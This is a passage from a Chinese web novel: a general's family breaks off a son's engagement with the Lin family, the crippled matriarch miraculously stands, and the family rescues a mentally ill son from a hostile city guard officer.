“我劝你们,好好想想这将军府的未来,别整日成沉浸在过往的风光里,毕竟那已经是过去式了。”国公夫人说这话时,还特意看了一眼正上方的顾夫人。
她嘴里这话,意味深长,所指的并不是顾应决一人。
“再说了,顾应柏这个样子,林姑娘又何错之有?要怪只能怪顾应柏身体不行。”
国公夫人捏着手帕,瞥了顾应柏一眼,仿佛顾应柏是什么晦气的人。
顾应柏一咳嗽,她就要用手帕捂住嘴,生怕将那病气传给自己。
“不顾昔日情分就算了,如今不过是见将军府没落,就如此做派,林府做法未免太寒人心!”顾夫人冷冷扫了林府众人一眼。
好歹是曾经的亲家,若非他们的授意仅凭国公夫人一人,又能掀出什么水花来。
话音里没有半句,侮辱人的话,却叫人羞愧的不敢抬起头来。
林府的人神色微变,却并未说话。
“你也知今是不同往日,既然如此,林家又有何理由不退了这门婚事?”国公夫人见顾夫人眼中失了往日的稳重,心中不由暗笑。
姜凤芝啊,你也有今天。
“人往高处走,这又有何错。”国公夫人说话更是嚣张,走到了顾夫人跟前,趾高气昂道。
这些词在国公夫人嘴里,却换成了林府冠冕堂皇,攀附权贵,自私的理由。
“你们就真的觉得,我家应柏会一直这样?将军府会一直这样?”顾夫人脸色发沉,怒气涌上心头,说话的声音沉重万分。
国公夫人勾唇冷嗤,嘴角的笑意越发放
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肆。
“难不成顾应柏这个病秧子,还能好?顾应决还能再站起来?还有你姜凤芝你能站起来吗?”
“如今连你自己都自顾不暇,还是少操这些心,说不定还能多活几年。”
谁人不知姜凤芝都残了这么多年了,根本不可能站起来。
看到姜凤芝,发青的脸,心里没来由的舒畅。
这些话,重重的落在顾夫人心中,仿佛一把锋利的刀刃,狠狠搅动着她的血肉。
“砰!”顾夫人手用力拍在桌案上,发出一阵脆响。
国公夫人嘴角勾起得意的笑意,不用猜也知道姜凤芝都要气**。
她抬眸正要欣赏欣赏,姜凤芝那张惨淡的脸。
“噗!”
一大碗茶水,直接迎面洒她脸上。
国公夫人还没反应过来时,跟前人直接一巴掌扇了过来,那力道大的惊人。
“啪”的一声巨响。
国公夫人直接被扇倒在地,头发凌乱脸上全是水渍,脸侧更是高高肿起一个大巴掌印子。
她惊恐地抬眸,只见那个自己认为,永远都不可能站在来的残废。
姜凤芝,她竟然站起来了!
只见顾夫人直直站着,双手紧紧捏着轮椅把手,脖子上青筋暴起。
顾夫人居高临下地俯视国公夫人,脸沉的发乌,眸光盯着国公夫人,气势汹涌,仿佛下一刻就能将国公夫人掐死。
国公夫人在那一刻,吓得双脚双手并用往后挪。
她那双眼睛盯着顾夫人的腿,就跟见鬼了一样。
“不……不可能!”
“姜凤芝怎么可能站起来。”
同一时间,林大人瞪大了眼睛,望着某一处,眼神中透着惊涛骇浪。
“这……这怎么可能!”
林公子跟林清瑶全都睁大了眼睛,神色里带着不可思议。
顾夫人缓缓松开了手,腿脚腕如婴儿学步一般,踏着右脚,再迈出左脚,挪动着步伐摇摇晃晃,缓缓的往前走动。
边上的众**气,都不敢呼一声。
所有人仿佛止住了呼吸一般紧紧盯着顾夫人的方向。
一个双脚早就废了的人,竟然真的起来了,而且不仅起来了,她还能走了。
第三十三章 中气很足,身上那点病气在这一刻,全然消散
“不不可能,这怎么可能,她怎么可能……”国公夫人面色大惊。
顾夫人走路还不稳,边上的顾应柏还有孙嬷嬷,从震惊中缓过神来,立刻上前将顾夫人扶住。
“娘,您终于能走了,真是太好了!”顾应柏眼眶红了,捏着顾夫人的手激动的颤抖。
自从娘腿坏了后,日日吃斋念佛,人不仅日渐消瘦,脸上的笑容也极少再现过。
他更是忘了,娘能走动的样子。
“祖母!”乖宝小跑到顾夫人面前,抱住她的腿,仰头望着她。
顾夫人眼角染了泪花,垂头摸了摸乖宝的小脸,“多亏了,我们乖宝。”
她从前几日起,就感觉到自己腿脚不在疼痛,有了力气,尝试过站起来好几次,但都失败了,这一次算是最成功的一次。
多亏了乖宝,总是偷偷往水壶里加水。
甚至往她泡脚盆里加水,还有洗澡水,那水跟普通水不一样,她能感觉出一些差别。
“娘。”顾应决喉间发紧,指腹捏成拳头,眼中蕴藏着压不住的笑意。
面上的沉静,根本无法掩饰他内心的喜悦。
“当年的婚事是我夫君,亲自跟林府定下的,如今要退,也该是我们将军府来退。”顾夫人朝着孙嬷嬷看了一眼。
“去把那婚书拿来。”
没一会孙嬷嬷,便将那婚书册子递给了顾夫人。
“婚约可以毁掉,但当年我们将军府给你们林府下的聘礼,你们也得还。”顾夫人站起来后,更有一股从容不迫的掌家主母威严。
让人根本无法说出要拒绝的话。
“孙嬷嬷当年的聘礼账目给他们,让他们一笔笔全都补回来。”
林府众人闻言,脸色变了变。
林清瑶十分不满,“凭什么!那都是当年你们将军府自愿给得,如今婚约不成,又要退回去,你们这么做实在太过分了。”
“若不是顾应柏耽误我,说不准我早就嫁人了。”
“难道不应该算作补偿?”林清瑶心里愤懑,她又是被退婚,还要退聘礼。
要是让那些世家小姐知道了,都不知如何笑话她。
何况将军府给的那些聘礼,这么多年他爹奔走仕途早就话了一大部分。
要是全还给将军府,还不得掏空林府。
那之后她嫁进国公府的嫁妆,该怎么办?
到时候她嫁过去,嫁妆少的可怜,还不得被人看扁。
“补偿?谁给你的脸。”顾应决一声呵斥。
林清瑶吓得,立刻闭上了嘴。
顾应决都懒得跟她搭话,冷冽的眸光,扫了一眼边上的林大人。
“林大人,你女儿不懂事,你身为朝廷命官应该不会,连这点礼数都不懂吧。”顾应决冷烈的目光扫了一眼林大人。
说话的声音中带着警告。
“下官明白。”林大人硬着头皮,俯下身行了一礼。
退婚是他们先提出来的,退还聘礼,也是理所应当。
要是在闹下去,难看的只会是他们林府。
只是他没想到,事情会弄的这么难堪。
这回,他们算是彻底得罪了将军府。
“既然林大人已同意,那这婚书便由我替亡夫,亲自毁去。”顾夫人双手用力,将那婚书彻底撕成了两半。
婚书丢在了青石地面上,发出一道轻响。
孙嬷嬷亲手将记录聘礼的帖子,递给了林大人。
“说到补偿,林小姐毕竟是女子。”一直沉默的顾应柏突然开口道。
林府众人顿了顿,林清瑶抬眸看向顾应柏,心中多了一份期待,
她就说嘛。
顾应柏之前待她那么好,怎么可能说轻易毁了婚约就毁了呢。
“这些年除了聘礼之外,逢年过节,我将军府都会备上礼金,甚至还会给林小姐单独送上一份礼。”
“这些我们就不计较了,林小姐也不必退了,全当做是赔偿了。”顾应柏说话的声音宛如寒冰,不带一丝情绪。
他盯了一眼林清瑶,捂着嘴轻咳了一声。
根本没想到自己曾经珍惜过的人。
会如此不堪。
“你说什么?”林清瑶心脏漏了一拍,一股气流从胸口涌出,压在喉咙上不去也下不来,堵得难受。
她酸涩地咬了咬唇,顾应柏怎么能如此绝情?
不过是退了婚而已,难道他以前对她的好都是装得吗?
林清瑶压根没想到,他会这么决绝。
“顾应柏,你怎么能这么对我。”林清瑶气得,眼眶红了,愤怒地瞪着
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顾应柏,想从他那双眼睛里看到一丝温柔。
然而,顾应柏却挪开了目光,“若是林小姐不想要这赔偿,大可还给将军府。”
“妹妹,我们回去吧。”林大公子见林清瑶还纠缠不休,觉得有些丢人现眼,赶紧伸手拉住了她。
本想借着顾应柏身子弱,退婚,结果没退成,反而叫人羞辱了一顿。
不过好在这婚事是没了。
林清瑶含着泪,盯着顾应柏,却发现他目光一直落在那小丫头身上,甚至都抬眸瞧看自己一眼都未有。
明明顾应柏之前对她那么好。
“你们这么宠着一个来路不明的野丫头,又有何用?一个野丫头而已,又不能替将军府传宗接代!”
林清瑶死死盯着乖宝,眼里带着一丝阴毒。
她林清瑶想要什么,只要跟他说第二天,甚至不用第二天两个时辰内,他就会送到自己面前。
心情不好时,顾应柏比她大哥还要有耐心的哄她。
若非他身体差成这般样子,她也是不愿弃他而去的。
可就这样一个看似对她死心塌地的男人。
竟然不仅如此决绝,还说出这样的话来。
“就不怕未来将军府绝嗣吗?”
她紧了紧手帕,都是这个死丫头,要不是这个小屁孩,顾应柏怎么会无视她。
自从碰上这个丫头,她就每一件好事!
顾应柏冷笑道:“我们府上的事,用不着林小姐来管。”
他说话的声音,中气很足,身上那点病气在这一刻,全然消散。
林清瑶闻言,眸光顿了顿,盯着顾应柏。
心里总觉得他跟一样似乎有些不同。
还没等她细想。
林大公子硬拽着将她拉了出去。
“你别说了,要退婚是你想退的,如今这个样子做甚?”林公子有些不耐烦道。
他压低了声音开口:“我跟夫人还在这儿呢,你要是想嫁入国公府就给我老实点。”
林清瑶一听,立刻回过神来。
毕竟国公府才是她未来的夫家。
国公夫人脸色出奇的差,一想到方才姜凤芝那张脸,她就气的牙痒痒。
她竟让突然站起来的姜凤芝,吓愣神了。
甚至都没来得及回手。
第三十四章 难道这小崽子真这么邪门?
“还愣着干嘛?怎么你还对顾应柏那个病秧子念念不忘上了?”
她捂着有些肿的脸,望着林府一家,心里就不得劲。
原本想借机,通过退婚的事,让将军府蒙羞。
谁能想姜凤芝那个女人因祸得福,反而站起来了。
林家不仅被退了婚,还把之前将军府给的聘礼给退了。
如此一想,国公夫人更气。
“夫人,那小女跟三公子的事。”林大人收起发僵的脸,俯下身恭敬地问道。
国公夫人脸色发青,一想到方才那个场景,被姜凤芝打,浑身狼狈不堪,林府的人还在边上看她笑话。
她只觉得羞耻到了极点。
林府还有脸问,想想日后林清瑶那个死丫头嫁入国公府,抬头不见低头见。
国公夫人这心里就膈应的不行。
“知道了。”
国公夫人敷衍道:“过段时间,我便让人去林家提亲。”
“不过话说回来,林大人你是该好好管教管教女儿了,这还没成婚,她就跟顾应柏关系如此亲近,我知道年轻人嘛,有些冲动是正常。”
“但我儿要娶的是正妻,可不是什么不干不净,跟别的男人纠缠不清的女人。”国公夫人有些嫌弃地看了林清瑶一眼。
说实话,林家这个小姐,看起来就小家子气。
一点世家大小姐的风范都没有。
林府一家老小,全都俯下身恭送国公夫人上马车离开。
林大人抬眸看了一眼将军府大门口的牌匾,不知为何,今日看到顾夫人起来的那一刻。
他这心里涌出了一股不安,看到那撕裂的订婚册子。
总有种怅然若失的错觉。
不过事已至此,他们林府也已经别无他法。
林府的人离开后,众人全都围到了顾夫人跟前。
“娘,您的腿什么时候好的?”顾应决心中疑惑。
他娘这腿父亲在时,就找了无数明医来看,不仅没好,情况还越来越糟。
“前些日子就不怎么痛了,今日能站起来也实属意外。”顾夫人不便多说,开口道。
顾应决不放心,坚持叫人去喊了大夫过来。
林大夫匆匆忙忙,提着医箱过来。
当他听到,顾夫人腿能动的消息。
整个人差点没站稳,不过此时他比顾应决诈尸那会儿,淡定的太多。
毕竟那也是见过好几次特殊世面的人了。
林大夫冷静下来,放下了手中的医箱,给顾夫人把脉。
他一双眼睛睁大,又稳稳压下激烈的心跳:“夫人的腿,已在恢复中。”
“双膝盖坏死和受阻的血脉,已经重新疏通,简直是……”奇迹。
不过这样的事情,在将军府已经屡见不鲜。
说不上什么特别了。
上回还是顾大公子被原本将行就木的身体,突然又变得容光焕发。
“日后,夫人只需每日多走动,这双腿就能慢慢恢复。”
“切记不要在受寒了。”
顾夫人这双腿膝盖已经坏死,根本不可能有再恢复的可能。
而如今那双腿就如新生一般,重新有了焕发的生机。
世上何曾有这样的药?
林大夫开始怀疑,到底是将军府有秘药,还是有什么大罗神仙了。
这话一出,众人喜色不改,这话足以证明。
夫人的腿,是真的好了。
顾应柏神色激昂地抱起了乖宝,在她脸侧亲了一口。
“乖宝,真是我们将军府的大功臣,小福星。”
“嘿嘿。”乖宝咧嘴大笑,不好意思的红着小脸,伸出小肉手摸了摸自己的小脸。
“大伯,也要多喝水,喝水就能好的快哦。”
顾应柏跟搂着宝贝似的,稳稳把她拖在怀里,“好,以后大伯都听,我们乖宝的。”
他心里涌现出强烈的期待,娘能站起来,说不定有一日。
他也能跟普通人一样呢。
顾应决挪了挪唇,“林大夫,可是你开的药生效了?”
这话直接给林大夫问住了。
林大人抬头看了顾应决一眼,不是这……
上次大公子还问了他一摸一样的问题,怎么少将军又问。
所以他们究竟是什么意思,真的不知道?
不应该呀。
此时林大夫眼神比顾应决还要迷茫,他倒还想问问将军府呢。
到底吃了什么。
“这个……将军,若老朽开的
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药有用,何苦这么多年才生效?”林大人一脸为难。
这话说的,顾应决更迷惑了,那他娘到底是如何好的?
顾应决眼里带着一丝困惑,边上的顾夫人开口道:“或许是上苍,不愿见我日日坐着,特意降福呢。”
“是呀,夫人日日念佛诵经。”边上的孙嬷嬷,笑着开口道。
“这不还把我们小小姐给盼来了。”
顾应决抿了抿唇,抬眸盯了一眼乖宝。
乖宝被顾应决盯得,揉了一把额头,冲他憨憨笑了笑。
顾应决蹙眉,作为一个无神论者,他从来都不相信什么鬼神。
可如今没有任何事能解释,近期将军府出现的一切怪象。
好像这一切的由来,都是因为乖宝的出现带来的。
难道这小崽子真这么邪门?
顾应决心里不由生了一丝疑心。
大夫被送走后。
顾应柏清了清嗓子,佯装淡定,才开口道:
“娘,三弟,昨日我找了林大夫过来看病,林大夫说我这病情也已逐渐好转,日后好生调养就成。”
这话一出,整个大厅都沉静了。
所有人神色恍然地望着顾应柏,仿佛没听明白他说的话一般。
顾应决深邃的瞳孔骤然一缩,抬眸道:“大哥,你此话当真?”
他说话的声音都有些不稳。
“嗯,这事我还能骗你不成?”顾应柏伸手拍了下他的手臂,又抬手拍了拍自己的胸口。
“你看大哥现在,都不怎么咳了。”
顾应决被他这么一提,这才将目光盯向顾应柏,顾应柏的唇瓣不似曾经苍白无血色,说话的语气也不像之前那般气短。
大哥的病出自娘胎,从小到大都时好时坏,竟然就这么好了?
顾应决自是为兄长感到高兴,却也有些不可思议。
“太好了,将军府最近真是喜事连连。”边上孙嬷嬷面露笑意,开口道。
“林府竟还跑来跟大公子退亲,真是有眼无珠,日后有他们后悔的。”
顾夫人倒没多惊讶,有乖宝在,柏儿能好转也不奇怪。
她抬眸跟顾应柏对视了一眼,眼神交融间,仿佛达成了某种诡异的一致。
第三十五章 四叔出事
孙嬷嬷望着其乐融融的一家子人,突然想到什么,悲从心中来,眼眶瞬间红了。
“要是四公子也在府里,说不准沾沾小姐的福气,这病也能好呢。”
“到时候将军府一家团聚,那该有多热闹,四公子贪玩,见到小小姐一定会喜欢。”
众人闻言沉默了,老四的病是他们将军府一桩陈年旧事。
那也是将军府所有人的痛和遗憾。
顾寒舟文武双全,京城第一才子,秦国的天之骄子,七岁被选为太子伴读,十岁便被名冠天下的周太傅收为门徒,十五岁便能跟使臣对薄公堂,却在十六岁时得了疯症,成了一个彻彻底底的疯子。
孙嬷嬷意识到这话说的有些不合时宜,含了含眼睛垂眸致歉。
“是老奴多嘴了。”
乖宝听懂了她话里的几个字,抬眸望着孙嬷嬷,小眉头微皱:
“嬷嬷,四叔也生病了吗?”
孙嬷嬷一时不知该不该开口,只是偷偷看了顾夫人一样。
边上的顾夫人开口道:“对,你四叔生病之后就一直在别的地方住。”
乖宝又问:“为什么不跟我们一起住呢?”
顾夫人继续道:“你四叔的病有些特殊,只能在外面的庄子里住。”
“娘,过几日将军府的内务忙完,要不我们带着乖宝去庄子待一段时间,那边换个环境也利于决儿和您养病。”顾应柏率先开口道。
“也好。”顾夫人点头。
去了那边决儿不仅能安心养病,还能看看舟儿。
“乖宝想过去吗?”顾夫人望着她低声问道。
乖宝点了点头,合着小手,“好,乖宝要去!”
次日,清晨。
乖宝睡醒后,又摸进了顾应决的院子。
门口的小厮并不在。
乖宝悄悄走到顾应决房门口,贴着房门低声问:“爹?”
里面的人传来稀稀疏疏的声音,就是听不太清楚顾应决在说什么话,声音很小。
乖宝以为顾应决在叫自己,小手一用力推开了门。
床榻间,顾应决满头大汗淋漓,眉头紧皱,挪动着嘴角发出支吾声,手紧紧捏着被褥。
“爹爹……”乖宝趴在他床边上,盯着他。
顾应决正陷入一场梦中,梦里兵戈铁马,战场上堆满了尸体,兴许染红了地面。
他身上插着无数支箭,直直跪在了沙场上。
身后的城池大门敞开,城楼之上,秦国的锦旗被换成了敌军锦旗,敌军挥舞着手中的剑,咧着放肆的笑意,在城中大肆虐杀百姓。
顾应决飘在半空中,看着百姓们痛苦的哀嚎,看着老弱妇孺被欺凌,恨不得冲过去手刃那些畜生。
可他却什么也做不了,浑身都不能动弹,只能眼睁睁看着一切发生。
愤怒,痛苦,悲伤全都充斥着他整个身心,就像污水染了一片鱼池。
他根本无法摆脱,只能在挣扎中越陷越深。
眼泪浸湿了他整个双眼。
蓦然,他耳边传来一声稚嫩的声音。
“爹爹……”
顾应决猛地从噩梦中抽离,一双深邃又带着剧烈悲痛的目光,对上了一双干净无尘的双眼。
他仿佛还没完全从那噩梦中清醒,眼里挂着泪,茫然望着跟前的小孩。
“爹,你是不是做梦了,别怕梦都是假的。”乖宝趴在他的床侧边上,说话带着气音,奶声开口道。
乖宝森收抓住了顾应决的大手,软乎乎的小手温热,声音也甜腻腻的。
完全跟顾应决梦里那弑杀血腥场景隔绝开来。
乖宝厚厚的刘海盖了半张脸,垂头偷偷笑了笑。
爹肯定是害怕了,乖宝做梦也会怕。
嘿嘿!
爹爹都哭了。
原来爹爹也会跟乖宝一样呀。
顾应决逐渐回过神来抹了一把脸,神色一怔。
他竟然哭了。
“嗯?”乖宝见他发愣,伸出小手,在他眼前挥了挥。
窗户那边天已经大亮,日头射进来。
顾应决目光落在乖宝的身上。
小崽子一双眼睛亮晶晶的,就像太阳一样。
软糯糯的小脸。在将军府厨房的投喂之下,肉嘟嘟的。
早上起床心情不好的顾应决,意外的没了脾气。
“你怎么来了?”顾应决才刚睡醒,说话的声音有些沙哑。
甚至还难得的带着一丝柔和。
“乖宝来找爹。”她托着腮道。
乖
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宝眼睛晃了下,踮起脚尖,双手用力撑着床板,爬上了顾应决的床。
顾应决不喜旁人碰自己的东西,特别是床这样私密的空间。
他挑了挑眉,伸出手想要制止,又看乖宝双腿跪在软软的床榻上,大掌绕到了乖宝的背后,呈一副拥护的姿势。
算了,就纵容她这一次。
乖宝将小嘴,凑到了他耳边,压着声音道。
“爹,今天太阳好大,好舒服,乖宝想去花园踢毽子。”
“爹要不要去晒太阳?”
乖宝朝着外面看了一眼,开口道。
她仿佛急着出去玩,问了一句顾应决。
顾应决抿了抿唇:“你出去吧。”
“那爹你赶紧出来哟。”乖宝见他没回应,以为他答应了。
小身板从床榻上爬下去,灵活地往外面跑。
顾应决望着外头明亮的天气,又看了一眼阴沉沉的屋子。
他长叹了一口气,心里也多了一丝悸动,想去看看乖宝说的艳阳高照。
顾应决把外面的小厮叫了进来,洗漱过后,换上了衣裳。
坐着轮椅,小厮正要推他去外头。
“等等。”顾应决突然开口道。
“将军怎么了?”小厮疑惑地问。
“将那水袋,拿上。”顾应决目光落在桌案上,一直被闲置的东西。
小厮抿了抿唇,小姐送的东西,将军表面上不喜欢,心里却惦记着呢。
他赶紧抓了拿水袋,推着顾应决往外走。
花园里,乖宝穿着浅橙色小衣裳,肉手捏着毽子。
她吃力地用脚踹着毽子,毽子落下又捡起来接着踢。
“还挺执着。”顾应决看她把自己累得满头大汗,却还要一直踢,忍不住道。
“是呀,小姐这性子随将军,不服输。”小厮忍不住补了一句。
顾应决抬眸看了他一眼,又垂眸盯着那小崽子,难得没黑脸。
这点的确挺像他小时候。
就在此时,一个小厮急急忙忙地穿过游廊,往顾夫人所在的佛堂那边走。
顾应决见状,把人叫住了。
“何事?”
小厮吞吞吐吐开口道:
“将军,四少爷从庄子里跑出来了!”
第三十六章 四叔是个疯子?
顾应决抬眸,呼吸有些不稳,“人在哪?”
小厮继续道:“人不知怎么得跑京中来了,现在正在东巷那边。”
东巷口,正是京中人员密集之地。
“派人去城西大营,叫陈开带人过去,务必把我四弟带回来。”顾应决屏气凝神,冷声开口道。
“小的,这就去。”小厮着急慌忙地跑了出去。
“再从将军府调些人过去,别让他伤了人。”顾应决磨搓着指腹,再次开口道。
这话一出,他指腹按在手柄上,沉默了一瞬。
“本将军亲自过去一趟。”
外人去处理,他总归不放心。
“爹,要去哪?乖宝也要去。”
乖宝看到顾应决,手扶着轮椅,让下人推着往外走,赶紧放下手中的毽子,迈着小短腿快步跟上去。
顾应决急着过去,现在也顾不上她,就只好一道将她给带上了。
此时东巷街口的位置,已经乱成片,百姓们围在茶摊四周,惶恐不安地望着前方突然冒出来的人。
茶棚里的男人,穿着一件脏乱的素衣,披头散发,面露狰狞,咬着牙用力掀了桌子,桌案上的茶盏和碗筷摔的稀碎。
众人见状吓得匆忙四散,不敢靠近此地,生怕对方动手伤了自己。
男人一把揪起了还来不及跑的摊主,摊主被他重重甩在摊位上,又忙不迭的挪着腿,往周边躲。
就在此时边上传来一阵马蹄声,不远处几个身穿巡城卫衣服的官员走了过来。
百姓们纷纷开口道:“大人,大人救命啊,快把这疯子抓起来!”
“就这个疯子,突然冲过来,又是砸摊子,疯了一样欺负人。”
摊主一边扶着腰,又俯下身,满脸的愤怒道。
为首的人翻身下马,目光瞥了一眼,正咆哮着将摊位上的锅拧起砸地上,连碗也没放过的男人。
“大人这不是将军府四公子吗?小的记得他不止被将军府一直都关在城外的庄子里吗?什么时候又放出来跑京中**了?”边上的巡城卫透过男人那张脏兮兮的脸,看清楚了男人的摸样。
林都尉勾了勾唇,目光死死盯着对面男人,抽出了腰间的鞭子,“都让开!”
他挥动着鞭子,引起了对面的人注意。
男人脸有些脏,眼睛中带着暴虐的因子,仿佛除了杀戮,狂躁,没别的东西,它像一头完全没有灵识的野兽。
只有动物最本能的冲动,那就是暴力。
他的目光死死锁定在,这个往自己跟前靠近的男人,似乎察觉到了危险。
顾寒舟朝着林都尉睁大了眼睛,龇牙咧嘴扑了过去。
林都尉一鞭子甩了过去,抽打在顾寒舟身上。
顾寒舟发出了一阵惨叫,捂住了手臂上的伤口,眼中带着愤怒,咬着牙继续往林都尉跟前扑。
林都尉抽嘴笑,眼里带着一丝畅意:
“顾家老四,你这个疯子,疯了还这么不识好歹。”
“本少爷今日就让你好好见识见识,这鞭子的滋味。”林都尉的每一鞭子,都抽打在男人身上。
顾寒舟就像一头凶猛的狼,眼神除了那股溢出的痛苦之色,还有那股想要掐死林都尉的凶狠。
在一道道疼痛中,他逐渐开始退缩。
整个人被巡城卫的人团团围住。
“去拿条绳子过来,给小爷把他绑了。”林都尉望着跟前,浑身都警惕的顾四公子,脸上露出一抹笑意。
“都尉,这不太好吧,他毕竟是将军府的人,要是将军府的人,怪罪下来,咱们……”手下眼中露出一丝忧虑。
他们只是一个小小的巡城兵,将军府可不是他们能惹的。
林都尉瞥了他一眼,有些不耐烦:“怕什么,这就是一个疯子,他扰乱治安,咱们还能拿不了他?”
“少废话,还不去拿。”
巡城卫捏着绳子缓缓靠近顾寒舟,在他刚要抬手时,顾寒舟突然扑了过来,抓住了手臂,捏住了他的脖子。
“都尉,救我!”男子眼中带着求助的目光看向林都尉,脖子上青筋暴起,脸乌的发紫。
他仿佛使尽了全身的力气,却依旧没能挣脱顾四的束缚。
“大人,这……”边上的下属脸色一边,迈步上前。
一只手横到了他跟前。
林都尉瞥了他一眼,“想找死吗?”
“可是,我们总不能眼睁睁看着,顾四公子**吧。”下属面露难色。
“你现在过去,就能救得了他?”林都尉冷漠地望着,那个被顾四生生掐住脖子的男人。
硬生生看着那个人脸色通红,已经翻了白眼,手逐
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渐不再挣扎。
林都尉眼中露出一丝激动的神情。
**更好,**。
顾四就彻底完了。
林都尉眼中透着兴奋。
他倒要看看,这次将军府还要如何护着这个疯子。
今日过后,这个疯子就将要永远待在那暗无天日的地牢里,等待着死亡的降临,只要一想到这点,他心中就激动不已。
一道身影如闪电般驰骋而来。
那人伸手按住了顾四的手腕,用力顾四便松开了手。
顾四想对来人出拳,被那人握住拳头,反扣住双臂。
男子身穿盔甲,高大魁梧,脸上还长着络腮胡,一脸凶相。
“陈开?”林都尉盯着那张脸,神色变了变。
“顾应决派你来的。”
“他人呢?不会是成了残废,自己不敢过来吧。”林都尉拢了拢手中的剑。
“林玄泽,你敢羞辱我家将军!”陈开边上的将领,拧紧了拳头,正要上前教训林都尉,让陈开给按住了。
陈开瞥了林都尉一眼:“我等不过是奉将军之命,带四公子回去,林都尉何必咄咄逼人?”
“他刚才犯了什么事?你们都没看到吗?”
林都尉冷笑:“当初将军府亲口答应,若他再犯事,就将他押送进官府处置,如今他这般可不是初犯了,难道将军府还想包庇不成。”
“东向的百姓们都看着呢。”
他这话一出。
脸上的百姓们,纷纷开口道。
“就是呀,难不成将军府就这么放任他行事,这不是将我等性命置之不顾吗?”
“报官!必须报官,把这个疯子关起来,不能让他再出来害人。”
众人说着,朝着顾四丢东西,菜叶子,臭鸡蛋,全都往顾寒舟身上砸。
顾寒舟眼眸发红,按耐不住的挣扎。
“都给我住手!”一道震耳欲聋的呵斥声响起。
四下的人全都顿住了,朝着声音的来源看了过去。
只见一男子坐在轮椅上,被缓缓推过来。
而他身边还跟着一道小身影,小孩身后,还带了不少人来。
“爹爹,那就是我四叔吗?”乖宝扫了一圈,最终将目光落在那个披头散发,满身狼狈的男人身上。
她刚才听到大人们再说,四叔是个疯子。
第三十七章 要给四叔喝水
顾应决动了动唇:“是。”
乖宝得到肯定的答复,迈着小短腿,小跑了过去。
“小姐,您别过去,危险!”
小厮见她扑着过去,吓了一跳。
然而他说这话时,已经晚了,乖宝已经挤进人群中到了顾四身边。
“四叔?”
男人一双眼睛布满了血丝,眼神里透着灵魂跟身体撕裂般的疼痛和挣扎。
他痛苦的发着低嚎,仿佛山林间愤怒的野兽。
身上的衣服被鞭子抽裂开,露出来的白嫩肌肤上是一道道清晰可见带血伤痕。
这样的伤,乖宝曾经也有过,她知道很疼很疼。
而四叔的伤,比她的还要深还要严重。
乖宝盯着顾寒舟腿上的鞭痕,皱了皱眉头,“四叔是不是很难受?”
顾寒舟现在根本没法回应她。
乖宝觉着四叔现在肯定特别痛。
她眼眶发红,从腰间拿出了随身带着的水袋。
“小姐,您别过来,四公子现在神志不清,会伤着你。”边上的将领见她还想往前凑,连忙上前阻止。
乖宝摇摇头,“没事的。”
她抓着水袋,快步绕过跟前的人,走到拼命挣扎的顾寒舟面前,拧开手里的水袋。
乖宝踮起脚尖,还是没能够到顾寒舟的嘴。
“小姐,我来吧。”边上的陈开见状主动,开口道。
他一直都听说将军,认回来一个女儿,心里还好奇小姐长什么样。
如今看到,还挺意外,将军平日里五大三粗的,竟然生了这么个娇滴滴的小女娃娃。
乖宝知道他是爹爹的人,伸手把水袋给了他。
“叔叔,谢谢你。”
这一声软乎乎的称谓,叫人忍不住心头发软。
“陈开哪能担得起,小姐一声叔叔。”他那张凶猛的脸上,露出了一丝窘迫。
那可不成了跟将军平起平坐了吗?
他的身份可不敢当。
乖宝不懂他在说什么,一双眼睛直勾勾盯着他手里的水袋。
直到看到陈开拧开了水袋,把水倒顾寒舟嘴里。
乖宝才放下心来,接过陈开递的水袋,又道了一声谢。
“小姐,客气了,这都是我们这些下属该做的。”陈开开口道。
小姐这么软糯的小孩,跟将军那么一个冷硬的人,一点不搭,实在难以想象这居然是将军的孩子。
陈开心里不由唏嘘。
“顾应决难道你们想反悔?”林都尉扫了顾应决一眼,目光落在他的腿上。
“林都尉,这么着急发落我四弟,难道是因为之前的事,一直耿耿于怀?”顾应决面色淡然,没抬眸看他一眼。
顾寒舟曾经跟林都尉上擂台比武时,差点失手杀了,当时还只是永昌伯世子的林都尉。
甚至让林都尉在那场擂台中,大大出糗,成了当时京城世家的笑柄。
这件事一直都是林都尉心里的刺。
要不是顾寒舟,他也不可能到现在还是一个小小巡城都尉。
不论他如何努力。
京中高门子弟,还有不少瞧不上他的人。
一想到这,林玄泽就恨的牙痒痒。
“那事已过去多年,我都快忘了,今日就事论事,顾寒舟犯了大秦的律法。”
“而你们将军府,并没有管好他。”
“既然你们管不好他那便交由官府来管,这样对大秦的百姓,对你们将军府都好。”林都尉摸了摸手中的剑,眼里流露锋芒。
此事已经板上钉钉,他倒要看看,顾应决还要怎么救下顾寒舟。
顾应决瞥了一眼身侧小厮,小厮凑了过来,顾应决压着声音说了几句话,小厮点了点头。
而后小厮抬眸看向四周的百姓,扬声道:“各位,今日我将军府的四公子,之所以突然跑上街,那都是庄子里的下人失职。”
“并非有意为之,诸位放心,日后我等必定好好看着公子,绝不再犯。”
“至于街上所有损坏之物,我们将军府都照价赔偿。”
“诸位,因我家公子身心受惊,我们将军府也会给予补偿。”
小厮说完,从腰间取下钱袋,方才那些怒目圆睁,愤愤不平的百姓们,听到这话全都齐齐看了过来。
每个人的眼睛里全都冒着星光,脖子伸长,往顾应决这儿挤过来。
小厮朝着地上,丢了一大把铜板,又丢了一小把碎银。
铜板跟碎银子落在青石地板上,发出一阵清脆的响声。
四周的百姓们蜂拥而至,推搡着捡地上落下的铜板,还有人趴在地上,仔细查找着卡地面缝隙处的碎银。
一时间所有人全都忘记了,怒骂四公子是个疯子,还要抓人之事。
“现
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在大家可有异议?”小厮瞥了一眼林都尉,朝着众人道。
百姓们纷纷开口道:“没,四公子神志不清,又不是故意为之。”
边上人一边说,一边将铜板往衣兜里揣,“就是啊,而且四公子又没有真的伤人。”
“人还是要多些慈悲,林都尉您就放过四公子吧!”
林都尉望着他们脸色发黑,手紧握成拳头,咬牙切齿道:“你们说什么!”
顾应决不过是使些小伎俩,这些人竟都转了口供。
“你呢?方才顾寒舟差点弄死你,你也要为顾寒舟说话?”
他一把揪住身边方才被顾寒舟丢出去的摊主。
摊主垂头不语,正要开口说话时,边上的小厮从衣襟里掏出两张银票,“我家公子确实对,摊主多有得罪。”
“还险些砸了摊主的摊位,不过没关系,我们将军府赔得起。”
“这些钱也足够摊主买半个铺面了。”
摊主看到小厮手里的银钱,眼睛亮了亮,却不敢看林都尉,面色有些难为情。
林都尉看他一直不说话,气的脸红,“说!”
摊主面露难色,咬牙开口道:“都尉,您别问了,草民做的是小本生意,四公子也没有,真的伤到草民。”
“如今将军府也赔钱了,这事……”
